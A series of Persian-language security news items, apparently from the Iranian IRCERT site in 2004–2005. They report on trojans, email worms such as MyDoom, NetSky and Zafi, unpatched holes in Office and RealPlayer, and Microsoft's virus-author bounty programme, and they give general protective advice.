موضوع ایمیل حاوی این اسب تروا چنین است:“ Be the first to fight spam with Lycos screen saver “ یک فایل الحاقی با نام Lycos screensaver to fight spam.zip همراه با این ایمیل است.

روز جمعه Lycos Europe فعالیت اسکرین سیور مزبور را به دلیل انتقادات بسیاری که به این شرکت مبنی بر حمله DoS به سایت های اسپمر می شد، متوقف کرد.

Lycos Europe شرکتی مستقل از پورتال مشهور Lycos است. این شرکت مدعی است که میزبان حدود 40 میلیون اکانت ایمیل در 8 کشور اروپایی است.


﻿ IRCERT - یک تروجان به ظاهر خوب! - اخبارها و هشدارها

یک تروجان به ظاهر خوب!

7 اکتبر 2004 - 16 مهر 1383

شرکت امنیتی Symantec به کاربران اینترنت هشدار داده است که اسب تروایی وارد شبکه شده که بعضی برنامه های جاسوسی را پاک می کند اما در همین حال تغییراتی در تنظیمات کامپیوتر نیز انجام می دهد.

این اسب تروا که Downloader.Lunii نام دارد، با تغییر تنظیمات امنیتی ویندوز قربانی، فایلهایی را از سایتهای ناشناس دریافت می کند. یکی از مدیران Symantec در این باره می گوید:“ معمولا یک اسب تروا سعی می کند تا حد امکان تنظیمات امنیتی را تغییر دهد و لذا محصولات و نرم افزارهای مایکروسافت، McAfee‌ و Symantec را هدف قرار می دهند.“

معمولا اسبهای تروا را برنامه های جاسوسی نیز می نامند چون می توانند بدون آنکه تشخیص داده شوند در پس زمینه اجرا شوند.

Symantec درجه خطر این اسب تروا را پایین ارزیابی کرده است. این شرکت به کاربران توصیه کرده است که سرویسهای غیرضروری ویندوز خود مانند printer and file sharing‌ را غیرفعال کنند و اصلاحیه های امنیتی را به موقع نصب کنند.


﻿ IRCERT - تاخت تروجان بر حفره امنیتی آفیس - اخبارها و هشدارها

تاخت تروجان بر حفره امنیتی آفیس

30 سپتامبر 2005 – 8 مهر 1384

متخصصان امنیتی هشدار دادند که یک اسب تروای جدید از حفره اصلاح نشده آفیس استفاده می کند و به هکرها اجازه می دهد تا کامپیوترهای قابل نفوذ را در اختیار بگیرند.

مشکل امنیتی در Jet Database Engine وجود دارد، یک دیتابیس کوچک که در محصول آفیس به کار گرفته شده است. این حفره در ماه آوریل به مایکروسافت اطلاع داده شده است اما تا به حال اصلاحیه ای برای آن ارائه نشده است. سخنگوی این شرکت اعلام کرده است که مایکروسافت از انتشار این اسب تروا مطلع است و عکس العمل مناسب را نشان خواهد داد.

Symantec طی یک راهنمایی امنیتی اعلام کرده است که این تروجان در قالب یک فایل Access حمله می کند. هنگامی که این فایل بر روی یک سیستم قابل نفوذ اجرا شود، به هکر اجازه دسترسی کامل از راه دور به سیستم را خواهد داد. این شرکت نام این تروجان را Backdoor.Hesive گذارده است.

شرکت Secunia درجه خطر این حفره را highly critical‌اعلام کرده است. این شرکت در راهنمایی امنیتی ماه آوریل خود، دلیل بروز خطا را اشتباه در مدیریت حافظه در هنگام پردازش فایلهای دیتابیس بیان کرده است.


﻿ IRCERT - حفره ای در آفیس و اکسس - اخبارها و هشدارها

حفره ای در آفیس و Access

12 آوریل 2005 - 23 فروردین 1384

مایکروسافت در حال بررسی گزارشی درباره یک حفره است که سیستمهایی را که از Access یا آفیس استفاده می کنند در برابر حمله بی دفاع می گذارد.

بنابر راهنمایی امنیتی منتشر شده توسط Secunia ، این حفره ، که یکی از 8 مشکل اصلاح شده اخیر نیست، در بخش Jet database engine قرار دارد و این امکان را به هکر می دهد که کد خطرناکی را روی یک کامپیوتر قابل نفوذ از راه دور اجرا کند.

مایکروسافت هنوز وجود این حفره را که آفیس و دیتابیس Access را تحت تاثیر قرار میدهد، تایید نکرده است

Secunia درجه خطر این حفره را highly critical اعلام کرده است و هشدار داده است که کد نفوذ از طریق این حفره روی یک mailing list در اختیار عموم قرار گرفته است.

Secunia در راهنمایی خود آورده است:“ این مشکل به دلیل یک خطای مدیریت حافظه در زمان تجزیه ( parse ) فایلهای دیتابیس رخ می دهد. اگر کاربری فریب بخورد و یک فایل آلوده .mdb را در Access باز کند، هکر می تواند کدی دلخواه را روی سیستم وی اجرا کند.“

مایکروسافت اعلام کرده است که گزارشی درباره حمله از طریق این حفره دریافت نکرده است، اما بازهم محققان را درباره انتشار عمومی مشکل امنیتی و کد نفوذ آن مورد انتقاد قرار داده است.

اولین بار شرکت HexView وجود این حفره را اعلام کرد و در راهنمایی امنیتی خود متذکر شد که مایکروسافت در تاریخ 30 مارس از وجود این مشکل آگاه شده اما پاسخی نداده است. مایکروسافت مدعی است که تماسی از سوی HexView برقرار نشده است.


﻿ IRCERT - هک شدن در بیست دقیقه! - اخبارها و هشدارها

هک شدن در بیست دقیقه!

17 آگوست 2004 – 27 مرداد 1383

متخصصان امنیتی در Internet Storm Center امروز هشدار دادند که کاربران پیش از نصب اصلاحیه های امنیتی کامپیوتر خود را به اینترنت متصل نکنند.

بنابه گفته محققان ، به طور متوسط یک کامپیوتر اصلاح نشده ظرف مدت 20 دقیقه پس از اتصال مورد حمله قرار گرفته و هک می شود. در سال 2003 این تخمین حدود 40 دقیقه بود. این مرکز با بررسی فرکانس گزارشهای رسیده به این عدد دست یافته است.

کاهش زمان از 40 دقیقه به 20 دقیقه بسیار نگران کننده است چون نشان می دهد که کاربر زمان کافی را برای دریافت و نصب تمامی اصلاحیه های امنیتی در اختیار ندارد.

اسکات کنتی – مدیر شبکه دانشگاه ماساچوست – معتقد است که آمار ارائه شده قابل قبول است. وی دو کامپیوتر اصلاح نشده را روی شبکه قرار داده است و هر دو ظرف 20 دقیقه هک شده اند. در حال حاضر در این دانشگاه کامپیوترها پیش از اتصال به شبکه مورد بررسی قرار می گیرند و اگر آخرین اصلاحیه ها روی انها نصب نشده باشد، به آنها اجازه دسترسی محدودی داده می شود.

البته زمان هک شدن به شبکه مورد ستفاده جهت اتصال به اینترنت نیز بستگی دارد. اگر تامین کننده سرویس کانالهای مورد استفاده کرمهای اینترنتی را ببندد ، کاربر خانگی زمان بیشتری را برای اصلاح کامپیوتر خود در اختیار خواهد داشت. اما شبکه هایی مانند شبکه های دانشگاهها که معمولا توسط ابزارهای نفوذ و هکرها اسکن می شوند، زمان کمتری در اختیار دارند.

Internet Storm Center طی یک راهنما برای اصلاح یک سیستم ویندوز ،‌ به کاربران پیشنهاد می کند که خدمات اشتراک فایل را غیرفعال و حفاظ را فعال کنند. Service Pack 2 این اعمال را انجام می دهد اما کاربران برای دریافت آن باید آنلاین شوند که در معرض خطر قرار می گیرند.

متخصصان هشداز می دهند که با روش موجود به زودی ممکن است روزی فرا برسد که یک ویروس پیش از تشخیص داده شدن و انتشار اصلاحیه ،‌ همه چیز را در اختیار بگیرد.


﻿ IRCERT - بازهم به گوگل حمله می شود - اخبارها و هشدارها

بازهم به گوگل حمله می شود

16 فوریه 2005 - 28 بهمن 1383

امروز نسخه جدید کرم اینترنتی MyDoom که با استفاده از موتور SMTP درونیش و با جمع آوری نشانی های ایمیل از موتورهای جستجویی مانند گوگل و یاهو کپی های خود را منتشر می کند، مشاهده شد.

در ماه آگوست سال 2004، یک نسخه از MyDoom تعداد زیادی پرس و جو به گوگل ارسال کرد به طوری که برای مدتی طولانی گوگل در دسترس نبود و یا کند عمل می کرد. همان نسخه همچنین توانست بعضی موتورهای جستجوی کوچکتر مانند Altavista و Lycos را نیز از کار بیاندازد.

شرکت ضدویروس Sophos اعلام کرد که نسخه جدید MyDoom ابتدا هارد دیسک کامپیوتر قربانی را جهت یافتن نشانی ایمیل جستجو می کند و سپس به جستجو در اینترنت روی می آورد. جالب است بدانید که این کرم سعی می کند بر روی اینترنت نشانی های ایمیلی را بیابد که روی دامنه کامپیوتر قربانی قرار دارند و لذا تمامی کاربران یک شرکت یا یک ISP‌را هدف قرار می دهد.

بنابه راهنمایی امنیتی Sophos، ‌این کرم پرس و جویی را به موتورهای جستجو ارسال می کند که در آن نامهای دامنه ای که از نشانی های یافت شده روی هارد دیسک به دست می آید، مرو استفاده قرار می گیرد و از این طریق نشانی های بیشتری به دست می آورد.

Sophos‌اعلام کرده است که این کرم 45 درصد پرس و جوهای خود را به گوگل می فرستد، 22.5 درصد را برای Lycos ارسال می کند، 20 درصد را به یاهو می فرستد و Altavista نیز پاسخگوی 12.5 درصد پرس و جو هاست.

گفته می شود اگر کاربران ضدویروس خود را به روز کرده باشند،‌مشکل چندانی پیش نخواهد آمد.


﻿ IRCERT - اخبار و هشدارها- Netskyانتشار نسخه های مختلف

نسخه های مختلف NetSky درحال انتشار هستند

۱ مارس – ۱۱ اسفند

یک کرم اینترنتی جدید که شباهت به NetSky.D دارد منتشر شده است. این کرم برای انتشار از موضوعاتی مانند "re: details" یا "re: here is the document." استفاده می کند و لذا دنبال کردن آنها بسیار مشکل است. گراهام کلولی – یکی از مشاوران ارشد شرکت ضد ویروس Sophos – در این باره می گوید :‌این کرم که به سرعت منتشر می شود حاوی یک فایل الحاقی PIF است. وی معتقد است این کرم به بزرگی MyDoom نخواهد بود اما میزان گسترش آن بالا خواهد بود.

هنگامی که این فایل PIF باز می شود به سرعت خود را تکثیر می کند و باعث کاهش سرعت کامپیوتر و عرض باند اینترنت می شود. کلولی معتقد است از آنجایی که کاربران از امکان آلودگی با فایلهای PIF آگاه نیستند لذا این فایلهای الحاقی را براحتی باز می کنند.

بنابر گزارش شرکت Sophos نسخه B این کرم در ماه فوریه پس از MyDoom.A و Sober.C لقب سومین ویروس خرابکار این ماه را به خود اختصاص داد.


﻿ IRCERT - فیلمها هم ویروسی می شوند! - اخبارها و هشدارها

فیلمها هم ویروسی می شوند!

1 اکتبر 2004 - 10 مهر 1383

امروز یک شرکت امنیتی اعلام کرد که به دلیل وجود یک مشکل امنیتی در نرم افزار پخش موسیقی RealNetworks، امکان آلوده سازی کامپیوترهای دارای سیستم عامل لینوکس و مکینتاش با یک فیلم وجود دارد.

با وجود این مشکل، می توان فایلهای فیلمی را به وجود آورد که درصورت پخش به وسیله نرم افزار دارای حفره Real، برنامه ای را روی کامپیوتر قربانی اجرا کند.این مشکل در نسخ RealPlayer 10 برای ویندوز و مکینتاش، RealOne Player برای دو سیستم عامل مذکور و Real Helix Player برای لینوکس وجود دارد. در واقع هرکسی RealPlayer داشته باشد،‌در معرض خطر است.

شرکت RealNetworks اظهار نظری در این باره نکرده است. بنا بر راهنمایی امنیتی منتشر شده توسط شرکت امنیتی eEye ، این حفره در بخشی از نرم افزار Real وجود دارد که قایلهای فیلم با پسوند rm را مدیریت می کند. این حفره نیز همانند حفره موجود در نرم افزار پردازش JPEG گستردگی زیادی دارد و می تواند برای ایجاد ویروس جدید به کار رود.

اخیرا هکرها به جای یافتن محل نفوذ در سیستم عامل برای حمله مستقیم، به دنبال حفره های امنیتی موجود در برنامه های پرکاربرد می گردند.


﻿ IRCERT - ویروسی که در خانه شما جاسوسی می کند - اخبارها و هشدارها

ویروسی که در خانه شما جاسوسی می کند

23 آگوست 2004 – 2 شهریور 1383

کرم جدیدی کشف شده است که نه تنها قصد جاسوسی از کامپیوترهای کاربران را دارد بلکه بهخانه های آنها نیز سرک می کشد!

به گزارش Sophos ، ‌ویروس Rbot-GR با استفاده از یک روش معمولی از حفره های امنیتی محصول مایکروسافت استفاده می کند و یک اسب تروا را روی سیستم آلوده نصب می کند. کرم Rbot-GR با در دست گرفتن کنترل وب کم و میکروفون قربانی ، تصاویر و اطلاعات صوتی را نیز از محیط کاربر گرفته و برای هکر ارسال می کند. همچنین همانند نمونه های مشابه ، امکان دسترسی به اطلاعات هارد دیسک کاربر را نیز فراهم می کند،‌کلمات عبور را سرقت می کند و امکان انجام حمله DoS را نیز پدید می آورد.

گراهام کلولی- مشاور ارشد فناوری شرکت Sophos – معتقد است این ویروس می تواند برای سرقتهای صنعتی به کار رود. وی می گوید:“ انواع نسخ Rbot به شکلی دسترسی از راه دور به اطلاعات قربانی را برای هکر فراهم می کردند اما این یکی پیشرفت زیادی داشته است.“

برای مقابله با این ویروس بهتر است در زمانی که از وب کم خود استفاده نمی کنید،‌آن را خاموش کنید!


﻿ IRCERT - اخبار و هشدارها - FBI ویروسی از

ویروسی از FBI

23 فوریه 2005 - 5 اسفند 1383

FBI به کاربران هشدار داده است مراقب ایمیلهایی که در ظاهر از سوی این اداره ارسال شده است اما در واقع ویروسی هستند، باشند.

این ایمیل در ظاهر از طرف FBI برای کاربران فرستاده شده تا به آنها هشدار دهد که عملکرد آنها در اینترنت تحت نظارت FBI بوده است و آنها به سایتهای غیرمجازی سر زده اند. سپس از کاربران می خواهد برای پاسخ به یک سری سئوال، فایل الحاقی به ایمیل را باز کنند.

FBI در حال تحقیق بر روی منشاء این ایمیل خطرناک است و به کاربران هشدار داده است که ایمیلهای دریافتی از افراد ناشناس را باز نکنند.

Spoofing یا ارسال ایمیلهای خطرناک و جا زدن خود به عنوان یک فرستنده شناخته شده یا قابل اعتماد، مشکلی است که تمامی کاربران در سازمانهای دولتی، شرکتهای خصوصی و حتی منازل آزار می دهد. اخیرا با همراه شدن این نوع حمله با هویت ربایی، مشکلات افزایش چشم گیری داشته است.


﻿ IRCERT - اخبار و هشدارها - CNN سوء استفاده از

سوء استفاده از CNN

20 ژانویه 2005 - 1 بهمن 1383

امروز یک شرکت ضدویروس هشدار داد که ویروس جدیدی شروع به گسترش از طریق ایمیل کرده است که خود را به عنوان یک ایمیل خبری از سوی CNN معرفی می کند.

به گفته Sophos ایمیلهای ارسال توسط این ویروس که Crowt.A نام دارد، دارای موضوع و یا مشخصه خاصی نیستند، بلکه این ویروس ایمیلهایی را با موضوع ، محتوا و الحاقیه هایی که از آخرین عناوین خبری CNN برگرفته شده اند، ارسال می کند. به گفته Sophos افراد کمی تا به حال به این ویروس آلوده شده اند.

اگر یک کاربر فایل الحاقی آلوده را باز کند، ویروس برنامه ای را نصب خواهد کرد که به هکرها اجازه می دهد به سیستم قربانی از راه دور وارد شوند و اطلاعات وی را به سرقت ببرند. Sophos در توصیف خود از این ویروس اضافه کرده است که یک برنامه keylogger می تواند در سیستم قرار گیرد تا اطلاعات ورودی را ثبت و ذخیره کند.

ویروسهای دیگری نیز بوده اند که از المانهای آنلاین برای گسترش سریعتر استفاده کرده اند. برای مثال کرم Santy از عملیات جستجوی بلادرنگ بر روی گوگل بهره می برد.


﻿ IRCERT - ویروسی برای حفظ حق کپی! - اخبارها و هشدارها

ویروسی برای حفظ حق کپی!

22 آوریل 2005 - 2 اردیبهشت 1384

به گفته شرکت امنیتی Sophos،‌ یک هکر ویروسی را ایجاد کرده است که عاشقان موسیقی را با پاک کردن فایلهای MP3 آنها هدف قرار می دهد.

این کرم که Nopir.B نام دارد، بر روی شبکه های P2P گسترش می یابد و به نظر یک ویروس فرانسوی است.

Nopir.B به گونه ای طراحی شده است که در ظاهر یک برنامه کرک ( Crack ) DVD به نظر می رسد و از این طریق کاربرانی را که به دنبال برنامه های اینچنین هستند و قصد دارند حق کپی را نقض کنند، فریب می دهد. بنابر راهنمایی امنیتی ارائه شده توسط Sophos، هنگامی که این کرم دریافت و اجرا شود، سعی می کند تا تمامی فایلهای MP3 و بعضی برنامه ها را از روی سیستم قربانی پاک کند.

گراهام کلولی - مشاور ارشد Sophos - می گوید:“کرم Nopir.B سعی دارد افرادی را که به سرقت این فایلها مشغولند، هدف قرار دهد اما بین این افراد و اشخاصی که به صورت قانونی فایلهای MP3‌را به دست آورده اند تفاوتی قائل نمی شود. به هر حال از آنجایی که به کامپیوترهای کاربران صدمه وارد می کند، این کرم طبیعتی مجرمانه دارد.“

این کرم سیستمهای ویندوزی را هدف قرار می دهد.


﻿ IRCERT - یک ویروس برای ویندوزهای 64 بیتی - اخبارها و هشدارها

یک ویروس برای ویندوزهای 64 بیتی

23 آگوست 2004 – 2 شهریور 1383

بنا به گزارش Symantec، ‌امروز ویروس نویسان اولین برنامه ای را که می تواند فایلهای ویندوز 64 بیتی را آلوده کند، منتشر کرده اند.

این ویروس که شرکت Symantec نام آن را W64.Shruggle اعلام کرده است، به نظر یک کار آزمایشی جهت اثبات امکان آلوده سازی ویندوزهای 64 بیتی است و به طور گسترده پراکنده نشده است. علت عدم گسترش این ویروس ، عدم انتشار نرم افزار مورد حمله توسط مایکروسافت است. بعضی برنامه نیسان با ویندوز 64 بیتی کار می کنند اما این سیستم هنوز در حال تست است.این ویروس بر روی سیستم عاملهای 32 بیتی مانند 2000 یا XP اجرا نمی شود.

انتشار زودهنگام یک ویروس 64 بیتی بیشتر یک طعنه است چون قرار است که پردازنده های 64 بیتی مانند Opteron امکانات امنیتی خاصی را همراه خود داشته باشند. این حفاظت در مقابل کرمها و سایر حملات که بدون دخالت کاربر انجام می شوند، مؤثر است.

به نظر می رسد این نوع ویروسها بیشتر جهت نشان دادن مشکلات امنیتی موجود نوشته می شوند.


﻿ IRCERT - به گوگل حمله می کند - اخبارها و هشدارها Zafi

Zafi به گوگل حمله می کند

28 اکتبر 2004 - 7 آبان 1383

آخرین نسخه از کرم Zafi که امروز کشف شده است به گونه ای برنامه ریزی شده که به سایتهای گوگل ، مایکروسافت و سایت نخست وزیر مجارستان حمله DoS نماید.

میکو هایپونن - مدیر بخش تحقیقات F-Secure - در این باره می گوید که اگر نسخه جدید ، یعنی Zafi.C ، بدتر و خطرناکتر از Zafi.B باشد، ممکن است مشکلاتی پیش بیاید. البته وی درباره میزان خطر این نسخه جدید اظهار نظری نکرده است. وی می گوید:“ Zafi.C باید مهمتر باشد چون نسخه قبلی این ویروس مجاری طی 4 ماه گذشته در بین 20 ویروس برتر بوده است، اما تابه حال ما گزارشات اندکی درباره نسخه جدید دریافت کرده ایم.“

هنگامی که Zafi.C فعال می شود، Address Book وهارد دیسک سیستم آلوده را برای یافتن ایمیلهای جدید اسکن می کند. این ویروس با کمک ایمیل خود را منتشر می کند و ایمیلهای را با مجموعه ای از قوانین پیچیده ایجاد می کند و با استفاده از موتور SMTP داخلی خود ارسال می کند.

اولین نسخه از Zafi آوریل امسال شناسایی شد، اما از آنجایی که تنها خود را به آدزسهای ایمیل داخل مجارستان ارسال می کرد، مشکل چندانی به وجود نیاورد.

دو ماه بعد Zafi.B منتشر شد که می توانست برنامه های ضدویروس و فایروال را غیرفعال کند و به زبانهای گوناگونی از جمله انگلیسی، روسی، اسپانیایی و سوئدی سخن می گفت.

امروز روز شلوغی برای شرکتهای ضدویروس بوده است. علاوه بر نسخه جدید Zafi، ‌نسخه جدیدی از MyDoom و یک نسخه دیگر از کرم Agobot نیز شناسایی شده اند که با استفاده از سرور IRC به هکرها اجازه دسترسی از دور به سیستمهای آلوده را می دهد.


﻿ IRCERT - استفاده از بن لادن برای انتشار ویروس - اخبارها و هشدارها

استفاده از بن لادن برای انتشار ویروس

23 جولای 2004 – 2 مرداد 1383

شرکت Sophos امروز اعلام کرد که یک اسب تروا با نام Hackarmy سعی دارد تا کاربران را قانع کند فایلی را که مدعی است حاوی تصاویر بن لادن است باز کنند و بدین وسیله خود را منتشر می کند.

این پیغام که روی بسیاری از newgroup ها ارسال شده است، ادعا می کند که حاوی تصاویری از بن لادن است که توسط خبرنگارCNN گرفته شده و وی را درحال خودکشی نشان می دهد. اما زمانی که این فایل باز می شود ، یک اسب تروا را روی کامپیوتر قربانی نصب می کند و این کامپیوتر را به جمع ارتش کامپیوترهای در اختیار هکر اضافه می کند . این کامپیوترها که از راه دور قابل کنترل هستند می توانند برای توزیع اسپم یا انجام حملات DoS مورد استفاده قرار گیرند.

گراهام کلولی – مشاور ارشد Sophos – می گوید:“ هکرها و نویسندگان ویروسها سعی می کنند تا با استفاده از روشهای گوناگون کاربرن را قانع کنند تا کدهای خطرناک مورد نظرشان را دریافت کنند. این بار به نظر می رسد که هکر از کنجکاوی کاربران و علاقه آنان به اخبار استفاده کرده است.“

بنابه گفته متخصصان، اکثر ویروس نویسان سعی دارند تا توجه کاربران ایمیل را به خود جلب کنند و آنها را قانع کنند تا روی لینکی کلیک کنند یا فایلی را باز کنند، حتی اگر چندین بار به آنها گفته شده باشد که این کار را نکنند. برای مثال ویروسهایی مانند Anna Kournikova ، Catherine Zeta-Jones و I Love You همگی از همین روش استفاده می کنند و کاربران را به انجام کاری تشویق می کنند که از آن منع شده اند.

شرکتهای ضدویروس و ضداسپم نرم افزارهای خود را به روزرسانی کرده اند تا این اسب تروا را تشخیص دهند و لذا کاربران می توانند با به روزرسانی نرم افزارهای خود در مقابل این اسب تروا مسلح شوند.


﻿ IRCERT - ویروس نویسان تهدید مایکروسافت را جدی نمی گیرند - اخبارها و هشدارها

ویروس نویسان تهدید مایکروسافت را جدی نمی گیرند

5 نوامبر 2004 – 15 آبان 1383

مایکروسافت برای دستگیری بعضی ویروس نویسان جایزه تعیین کرده اما به نظر می رسد ویروس نویسان این تهدیدها را جدی نمی گیرند و به کار خود ادامه می دهند.

از زمانی که مایکروسافت برنامه جایزه ضدویروس خود را راه اندازی کرده ، تنها یک موفقیت عاید این شرکت شده است. مطابق با این برنامه تا به حال 1 میلیون دلار برای کسانی که از نویسندگان چهار کرم و ویروس اطلاعات دقیقی ارائه کنند، تعیین شده است. همچنین 4 میلیون دلار نیز برای جوایز آتی در نظر گرفه شده است اما میزان تهدیدهای آنلاین کاهش پیدا نکرده است.

گراهام کلولی – مشاور ارشد شرکت Sophos – می گوید:« منصفانه است بگوییم که هر زمان آنها برای پرداخت جایزه اعلام عمومی کرده اند با موفقیت روبرو نشده اند.»

دو کرم و دو ویروس در لیست مایکروسافت قرار دارند: کرمهای MSBlast و ساسر و ویروسهای MyDoom و Sobig.F . مایکروسافت برای کسانی که اطلاعاتی ارائه دهند که منجر به دستگیری و محکومیت هر یک از نویسندگان این ویروسها و کرمها شود،‌ 250 هزار دلار جایزه تعیین کرده است.

آخرین مورد کرم ساسر بود که می توان آن را بزرگترین موفقیت این برنامه دانست. پلیس آلمان در ماه مه با کمک اطلاعاتی که مایکروسافت از منابع خود گرفته بود، جوانی را دستگیر کرد.

کلولی اشاره می کند که این بار مایکروسافت درباره جایزه اعلان عمومی نکرده بود و تنها پس از برخورد با فرد مطلع – که یکی از دوستان متهم است – تصمیم به پرداخت جایزه گرفت. اما به نظر مایکروسافت این موفقیت بدون جایزه میسر نمی شد.

با وجود این متخصصان معتقدند که این برنامه مفید است. کلولی در این باره می گوید:« از نظر من وجود جایزه یک نکته مفید است. از نظر مایکروسافت این کار یک برد تلقی می شود چون مشتریان و کاربران آنها را در حال مقابله می بینند، هرچند نتیجه ای عاید نشود.»

تهدیدات امنیتی برعلیه محصولات مایکروسافت همچنان افزایش می یابد و به این شرکت درباره برنامه امنیتی آن هشدار می دهد. همچنین نتایج یک مطالعه نشان می دهد که حملات آنلاین به خصوص بر علیه کاربران خانگی بسیار موفق عمل می کنند به طوری که از هر 5 کامپیوتر شخصی در منازل یکی به ویروس آلوده است و درون 4 کامپیوتر نرم افزارهای جاسوسی پنهان شده اند.

بنابر تخمین متخصصان کرم ساسر که ابتدای مه شروع به گسترش کرد توانست حدود 500 هزار تا 1 میلیون کامپیوتر را آلوده کند.این کرم خسارت کمی به بار می آورد و مانند کرمهای اینترنتی قبلی باعث ایجاد ترافیک بالا بر روی شبکه نمی شود اما باعث می شود تا سیستمهای عامل XP و 2000 به صورت مکرر بوت شود. اگر سون جاشان که متهم به نوشتن ساسر است در دادگاه محکوم شود، مایکروسافت مجبور خواهد شد که جایزه را پرداخت نماید. پلیس آلمان معتقد است که این جوان 18 ساله بیش از بیست نسخه از ویروس Netsky را نیز نوشته و منتشر کرده است. البته این ویروس در لیست جوایز مایکروسافت قرار ندارد. پس از دستگیری جاشان، نسخه دیگری از این ویروس با نام Skynet منتشر شده است که نشان از ادامه کار توسط سایر ویروس نویسان و با استفاده از کد جاشان دارد.

همزمان با پیشرفت پرونده ساسر، هفته گذشته گزارشی از منابع ناشناس منتشر شد که خبر از پیگیری برای دستگیری نویسنده Sobig.F می داد. مایکروسافت برای این ویروس در نوامبر سال گذشته جایزه تعیین کرده بود. نویسندگان ناشناس این گزارش با مقایسه جدول زمانی انتشار این ویروس و برنامه ای که برای ارسال اسپم به کار می رود،‌ به این نتیجه رسیده اند که نویسنده روسی این برنامه، ویروس Sobig.F و نسخ دیگر آن را نوشته و منتشر کرده تا از مشتریان خود حفاظت کند. در این گزارش 48 صفحه ای آمده است:« به نظر می آید که Sobig به گونه ای طراحی شده که به اسپمرها کمک کند تا ناشناس باقی بمانند.» اما نویسنده روسی برنامه ارسال اسپم با اعتراف به نوشتن این برنامه هرگونه ارتباطی با ویروس Sobig را انکار می کند. گفته می شود که در این گزارش ارتباطات جالبی بین برنامه اسپم و ویروس مزبور یافته و بیان شده است.

جایزه دیگری که مایکروسافت اعلام کرده بود مربوط به کرم MSBlast مشهور به Blaster بود. این کرم از یک حفره امنیتی استفاده می کرد که مایکروسافت کمتر از یک ماه پیش از انتشار این ویروس اصلاحیه مربوط به آن را ارائه کرده بود. با وجود هشدارهای زیادی که درباره احتمال حمله یک ویروس منتشر شده بود، بسیاری از کاربران ویندوز در نصب این اصلاحیه کوتاهی کرده بودند. نتیجه این بود که بیش از 10 میلیون کامپیوتر به این کرم آلوده شدند. بعضی مردم نیز مدعی هستند که این کرم دلیل قطعی برق در کانادا و آمریکا بوده است که باعث شد نزدیک به 50 میلیون نفر در خاموشی فرو روند. تا به حال نویسنده یکی از نسخ ضعیف این کرم دستگیر و محکوم شده است.

کلولی می گوید:« شاید این جوایز باعث شوند که نویسندگان جوان و نوجوان ویروسها بیشتر فکر کنند.»


﻿ IRCERT - ویروسها و اخلال در برنامه ارائه اصلاحیه مایکروسافت- اخبارها و هشدارها

ویروسها و اخلال در برنامه ارائه اصلاحیه مایکروسافت

10 نوامبر 2004 – 20 آبان 1383

کارشناسان امنیتی می گویند احتمالا نویسندگان آخرین نسخه MyDoom که از حفره موجود در iFrame استفاده می کند، انتشار ویروسهای خود را به گونه ای زمانبندی کرده اند که روند ارائه اصلاحیه های امنیتی ماهانه مایکروسافت را با مشکل روبرو کنند.

مایکروسافت در آخرین اصلاحیه ماهانه ای که دیروز ارائه کرد، نتوانست مشکل امنیتی جدی کشف شده در IE را بپوشاند چون این حفره تنها چند روز قبل از انتشار اصلاحیه کشف و معرفی شده بود. دو نسخه جدید MyDoom اوایل این هفته منتشر شدند و مایکروسافت چاره ای نداشت جز این که فعلا مشکل را نادیده بگیرد.

شان ریچموند - مشاور ارشد شرکت Sophos در استرالیا – معتقد است که مایکروسافت نمی تواند یک اصلاحیه خوب و مطمئن را تنها طی 4 روز – زمان بین کشف حفره جدید تا انتشار اصلاحیه این ماه – تولید و تست کند. وی می گوید:" انتشار یک اصلاحیه با ثبات برای IE طی این مدت غیرممکن است چون آنها باید قبل از انتشار اصلاحیه آن را کاملا تست کنند. روند ارائه ماهیانه اصلاحیه ها کار را برای مدیران شبکه ها و سیستمها آسان کرده است چون می توانند برای به روز رسانی سیستم خود برنامه ریزی کنند اما چند روز زمان کمی برای تولید و تست اصلاحیه است."

مایکروسافت برای جلوگیری از این مشکلات سعی دارد تا پیش از آشکار شدن حفره ها خود آنها را بیابد. بن انگلیش – مدیر تیم امنیتی مایکروسافت در استرالیا – می گوید:"بدترین سناریو برای ما این است که اصلاحیه ارائه شده خود دارای مشکل باشد. ما معتقدیم نتیجه انتشار سریعتر از موعد اصلاحیه ها حتی از آن هم خطرناکتر است." وی اشاره می کند که اگر مایکروسافت احساس کند که مشکل پدید آمده جدی و خطرناک است سیکل ارائه اصلاحیه ماهانه را می شکند و به سرعت اصلاحیه مورد نظر را منتشر می کند.

ویروس MyDoom توسط بعضی شرکتهای ضدویروس Bofra نام گرفته است.


﻿ IRCERT - ، کانالی برای هکرها - اخبارها و هشدارها VoIP

VoIP، کانالی برای هکرها

۱۷ مارس ۲۰۰۵ – ۲۷ اسفند ۱۳۸۳

رئیس بخش امنیت اطلاعات پست سلطنتی انگلستان هشدار داد که اگر برنامه های تلفن اینترنتی به خوبی پیاده سازی نشوند، می توانند شرکتها را در برابر هکرها و کدهای خطرناک بی دفاع بگذارند.

وی معتقد است با توجه به گرایش شرکتها به راه اندازی VoIP بدون در نظر گرفتن نکات لازم، طی دو سال آینده مشکلات امنیتی زیادی در این زمینه بروز خواهد کرد. وی می گوید:« یک حمله الکترونیکی Pearl Harbor در سال ۲۰۰۶ یا ۲۰۰۷ رخ خواهد داد. من مطمئن هستم. »

کارشناسان معتقدند شرکتها برای استفاده از منافع این فناوری و امکان برقراری ارتباط تلفنی ارزان، بدون فکر کردن به جوانب امنیتی، آن را پیاده سازی می کنند.

در تحقیقی که ماه گذشته منتشر شد، ۳۴ درصد از پاسخ دهندگان، VoIP را به عنوان برنامه ای که بیشترین منفعت را دارد، انتخاب شده است.

از آنجایی که پیشینه امنیتی سیستم های صوتی مانند شبکه های داده ای نیست لذا اصولا VoIP بخش نامطمئن زیرساخت شبکه یک شرکت است و با استفاده از یک شبکه برای هر دو کاربرد صوت و داده، مشکلات امنیتی برای شبکه داده شرکتها نیز به وجود می آید.


﻿ IRCERT - ویندوز را خراب می کند - اخبارها و هشدارها Media Player ,Wallon

والون Media Player ویندوز را خراب می کند

12 مه – 23 اردیبهشت

یک ویروس جدید که Wallon نام دارد و از طریق ایمیل به انتشار خود می پردازد،‌Media Player را پاک می کند. این ویروس زمانی فعال می شود که کاربر سعی می کند تا فایلهای MP3 یا ویدئویی را کامپیوتر آلوده اجرا کند.

